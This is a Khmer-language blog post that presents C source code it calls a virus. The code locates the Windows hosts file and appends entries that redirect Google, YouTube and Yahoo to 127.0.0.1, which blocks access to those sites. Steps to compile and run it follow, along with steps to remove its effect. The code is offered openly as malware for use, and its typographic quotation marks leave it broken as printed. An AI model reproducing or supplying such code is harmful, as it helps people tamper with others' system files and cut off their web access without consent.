សរសេរមេរោគបិទវ៉ិបសាយ

សរសេរមេរោគបិទវ៉ិបសាយ
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi1slmI-kAt9SaXNhAyIWUDFbCqMK5fgSqHRGti6LxvX2MgTFrYPwK4vPAKRXbv2lRTAcVUBlgPGSl9DhOtCIJTELkDVEj3Xbl1_qE_QJnOZdO1qqt-ELrilc_HQQ0_vThnjZtlPyzAKyo/s72-c/0.jpg

បង្កើតមេរោគបិទវ៉ិបសាយ Virus Block Websites
ការសរសេរដោយប្រើកម្មវិធី C ដើម្បីសរសេរ និង compile ជាមេរោគ
ខាងក្រោមនេះប្រភពកូដ source code សរសេរក្នុង ​​កម្មវិធីC
#include<stdio.h>
#include<dos.h>
#include<dir.h>
char site_list[6][30]={
“google.com”,
“www.google.com”,
“youtube.com”,
“www.youtube.com”,
“yahoo.com”,
“www.yahoo.com”
};
char ip[12]=”127.0.0.1″;
FILE *target;
int find_root(void);
void block_site(void);
int find_root()
{
int done;
struct ffblk ffblk;//File block structure
done=findfirst(”C:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(”C:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(”D:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(”D:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(”E:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(”E:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(”F:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(”F:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
else return 0;
}
void block_site()
{
int i;
fseek(target,0,SEEK_END); /*to move to the end of the file*/
fprintf(target,”\n”);
for(i=0;i<6;i++)
fprintf(target,”%s\t%s\n”,ip,site_list[i]);
fclose(target);
}
void main()
{
int success=0;
success=find_root();
if(success)
block_site();
}
ធ្វើយ៉ាងណាដើម្បី Compile ?
1. ដោនឡូត Download ប្រភពកូដ source code មេរោគ ចុចលើនេះ.
2. ចំលងបញ្ចូល Compile source code ដោយប្រើ C/C++ compiler។
3. សាកល្បង រត់ compiled module វានឹងបិទវ៉ិបសាយ
4. ម្យ៉ាងទៀតលោកអ្នករត់ file block_Site.exe, ពេលនោះ restart កម្មវិធី browser ហើយបានបិទ URL បង្ហាញលេចចេញ “Page cannot displayed“។
4. ដោះចេញ remove បង្ហាញដូចខាងក្រោម
%windir%\system32\drivers\etc
5. បើកឈ្មោះ file named “hosts” ដោយប្រើ notepad ចុចបើក អ្នកនឹងឃើញ 127.0.0.1  google.com
6. លប់វាចេញ។
———————————————————————————

Related product you might see:

Share this product :

Post a Comment

 
Support : Creating Website | Johny Template | Mas Template
Copyright © 2011. ទឹកអំពៅ - All Rights Reserved
Template Created by Creating Website Published by Mas Template
Proudly powered by Blogger